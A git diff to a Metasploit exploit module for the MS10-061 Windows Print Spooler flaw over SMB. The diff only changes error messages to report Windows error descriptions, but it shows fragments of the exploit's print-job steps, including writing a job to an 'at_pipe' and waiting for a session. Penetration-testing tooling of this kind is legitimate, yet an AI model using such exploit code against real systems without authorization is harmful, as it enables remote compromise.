diff --git a/modules/exploits/windows/smb/ms10_061_spoolss.rb b/modules/exploits/windows/smb/ms10_061_spoolss.rb
index 97ce9f5620..626eb3b263 100644
--- a/modules/exploits/windows/smb/ms10_061_spoolss.rb
+++ b/modules/exploits/windows/smb/ms10_061_spoolss.rb
@@ -10,6 +10,7 @@
 ##
 
 require 'msf/core'
+require 'msf/windows_error'
 
 class Metasploit3 < Msf::Exploit::Remote
 	Rank = ExcellentRanking
@@ -141,7 +142,7 @@ class Metasploit3 < Msf::Exploit::Remote
 			# Open the printer
 			status,ph = open_printer_ex(pname)
 			if status != 0
-				raise RuntimeError, ('Unable to open printer: %d' % status)
+				raise RuntimeError, "Unable to open printer: #{Msf::WindowsError.description(status)}"
 			end
 			print_status("Printer handle: %s" % ph.unpack('H*'))
 
@@ -176,7 +177,7 @@ class Metasploit3 < Msf::Exploit::Remote
 			# ClosePrinter
 			status,ph = close_printer(ph)
 			if status != 0
-				raise RuntimeError, ('Failed to close printer: %d' % status)
+				raise RuntimeError, "Failed to close printer: #{Msf::WindowsError.description(status)}"
 			end
 
 			break if session_created?
@@ -201,7 +202,7 @@ class Metasploit3 < Msf::Exploit::Remote
 		# StartDocPrinter
 		status,jobid = start_doc_printer(ph, doc, fname)
 		if status != 0 or jobid < 0
-			raise RuntimeError, ('Unable to start print job: %d' % status)
+			raise RuntimeError, "Unable to start print job: #{Msf::WindowsError.description(status)}"
 		end
 		print_status("Job started: 0x%x" % jobid)
 
@@ -215,7 +216,7 @@ class Metasploit3 < Msf::Exploit::Remote
 		# EndDocPrinter
 		status = end_doc_printer(ph)
 		if status != 0
-			raise RuntimeError, ('Failed to end print job: %d' % status)
+			raise RuntimeError, "Failed to end print job: #{Msf::WindowsError.description(status)}"
 		end
 	end
 
@@ -231,7 +232,7 @@ class Metasploit3 < Msf::Exploit::Remote
 		# StartDocPrinter
 		status,jobid = start_doc_printer(ph, doc, at_pipe)
 		if status != 0 or jobid < 0
-			raise RuntimeError, ('Unable to start printer: %d' % status)
+			raise RuntimeError, "Unable to start printer: #{Msf::WindowsError.description(status)}"
 		end
 		print_status("Job started: 0x%x" % jobid)
 
@@ -276,7 +277,7 @@ class Metasploit3 < Msf::Exploit::Remote
 		# EndDocPrinter
 		status = end_doc_printer(ph)
 		if status != 0
-			raise RuntimeError, ('Failed to end print job: %d' % status)
+			raise RuntimeError, "Failed to end print job: #{Msf::WindowsError.description(status)}"
 		end
 	end